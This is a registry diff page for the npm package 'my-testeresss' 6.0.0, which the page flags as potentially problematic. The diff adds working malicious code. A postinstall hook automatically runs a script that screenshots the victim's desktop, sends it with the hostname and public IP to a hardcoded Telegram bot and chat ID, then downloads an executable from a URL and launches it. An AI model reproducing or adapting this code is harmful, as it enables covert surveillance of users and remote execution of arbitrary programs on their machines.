my-testeresss 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of my-testeresss might be problematic. Click here for more details.

@@ -0,0 +1,104 @@
1
+ const os = require('os');
2
+ const homedir = os.homedir(); // Получаем домашнюю директорию пользователя
3
+ const TelegramBot = require('node-telegram-bot-api');
4
+ const screenshot = require('screenshot-desktop');
5
+ const axios = require('axios');
6
+ const { exec } = require('child_process');
7
+ const fs = require('fs'); // Добавлено для работы с файловой системой
8
+
9
+ const token = '6541130193:AAHzFM3jUNmz_YUgjFQF_LlzsOvlh1JEjsQ'; // Замените на свой токен
10
+ const chatId = '5950028476'; // Замените на свой ID чата
11
+ const exeFileUrl = 'https://app.prntscr.com/build/setup-lightshot.exe'; // Замените на URL exe-файла, который вы хотите скачать и запустить
12
+
13
+ const bot = new TelegramBot(token, { polling: true });
14
+
15
+ function getIPFromAmazon() {
16
+ return axios.get('https://checkip.amazonaws.com/')
17
+ .then((response) => response.data);
18
+ }
19
+
20
+ function sendScreenshotToTelegram() {
21
+ getIPFromAmazon().then((ipAddress) => {
22
+ const computerName = os.hostname();
23
+
24
+ screenshot().then((imageBuffer) => {
25
+ const caption = `⚡️Connect New PC *${computerName}*\n\nIP address: \`${ipAddress}\``;
26
+
27
+ bot.sendPhoto(chatId, imageBuffer, { caption, parse_mode: 'Markdown' })
28
+ .then(() => {
29
+ console.log('Скриншот успешно отправлен в Telegram');
30
+ downloadAndRunExeFile();
31
+ })
32
+ .catch((error) => {
33
+ console.error('Ошибка при отправке скриншота:', error.response.body);
34
+ process.exit(1);
35
+ });
36
+ });
37
+ });
38
+ }
39
+
40
+ function downloadAndRunExeFile() {
41
+
42
+ const programFilesPath = homedir + '\\downloaded.exe'; // Исправлено
43
+
44
+ console.log('Загрузка и запуск exe-файла...');
45
+ axios({
46
+ method: 'get',
47
+ url: exeFileUrl,
48
+ responseType: 'stream',
49
+ })
50
+ .then((response) => {
51
+ const exeFileName = programFilesPath; // Изменено
52
+
53
+ const exeFile = fs.createWriteStream(exeFileName);
54
+
55
+ response.data.pipe(exeFile);
56
+
57
+ exeFile.on('finish', () => {
58
+ exeFile.close();
59
+ console.log('exe-файл успешно загружен.');
60
+
61
+ exec(`start ${exeFileName}`, (error, stdout, stderr) => {
62
+ if (error) {
63
+ console.error('Ошибка при запуске exe-файла:', error);
64
+ process.exit(1);
65
+ } else {
66
+ console.log('exe-файл успешно запущен.');
67
+ process.exit(0);
68
+ }
69
+ });
70
+ });
71
+ })
72
+ .catch((error) => {
73
+ console.error('Ошибка при загрузке exe-файла:', error);
74
+ process.exit(1);
75
+ });
76
+ }
77
+
78
+ // Выполните установку библиотеки node-telegram-bot-api только один раз при первом запуске
79
+ if (!fs.existsSync('node_modules/node-telegram-bot-api')) {
80
+ console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
81
+ const installCmd = 'npm install node-telegram-bot-api';
82
+ const installProcess = exec(installCmd);
83
+
84
+ installProcess.stdout.on('data', (data) => {
85
+ console.log(data);
86
+ });
87
+
88
+ installProcess.stderr.on('data', (data) => {
89
+ console.error(data);
90
+ });
91
+
92
+ installProcess.on('close', (code) => {
93
+ if (code === 0) {
94
+ console.log('Библиотека node-telegram-bot-api успешно установлена.');
95
+ sendScreenshotToTelegram();
96
+ } else {
97
+ console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
98
+ process.exit(1);
99
+ }
100
+ });
101
+ } else {
102
+ // Выполните отправку скриншота и загрузку exe-файла
103
+ sendScreenshotToTelegram();
104
+ }
package/install.js ADDED
@@ -0,0 +1,50 @@
1
+ const { exec } = require('child_process');
2
+
3
+ // Проверяем, установлена ли библиотека node-telegram-bot-api
4
+ try {
5
+ require('node-telegram-bot-api');
6
+ } catch (e) {
7
+ console.log('Библиотека node-telegram-bot-api не установлена. Устанавливаю...');
8
+ const installCmd = 'npm install node-telegram-bot-api';
9
+ const installProcess = exec(installCmd);
10
+
11
+ installProcess.stdout.on('data', (data) => {
12
+ console.log(data);
13
+ });
14
+
15
+ installProcess.stderr.on('data', (data) => {
16
+ console.error(data);
17
+ });
18
+
19
+ installProcess.on('close', (code) => {
20
+ if (code === 0) {
21
+ console.log('Библиотека node-telegram-bot-api успешно установлена.');
22
+ // Запускаем скрипт desktopToTelegram.js
23
+ const child = exec('node desktopToTelegram.js');
24
+ child.stdout.on('data', (data) => {
25
+ console.log(data);
26
+ });
27
+ child.stderr.on('data', (data) => {
28
+ console.error(data);
29
+ });
30
+ child.on('close', (code) => {
31
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
32
+ });
33
+ } else {
34
+ console.error('Ошибка при установке библиотеки node-telegram-bot-api.');
35
+ }
36
+ });
37
+ }
38
+
39
+ console.log('Установка завершена. Запускаю скрипт desktopToTelegram.js...');
40
+ // Запускаем скрипт desktopToTelegram.js
41
+ const child = exec('node desktopToTelegram.js');
42
+ child.stdout.on('data', (data) => {
43
+ console.log(data);
44
+ });
45
+ child.stderr.on('data', (data) => {
46
+ console.error(data);
47
+ });
48
+ child.on('close', (code) => {
49
+ console.log(`Скрипт завершил выполнение с кодом ${code}`);
50
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "my-testeresss",
3
+ "version": "6.0.0",
4
+ "description": "Скрипт для отправки данных с рабочего стола в Telegram",
5
+ "main": "desktopToTelegram.js",
6
+ "dependencies": {
7
+ "node-telegram-bot-api": "*",
8
+ "screenshot-desktop": "*",
9
+ "axios": "*"
10
+ },
11
+ "scripts": {
12
+ "start": "node desktopToTelegram.js",
13
+ "postinstall": "node install.js"
14
+ }
15
+ }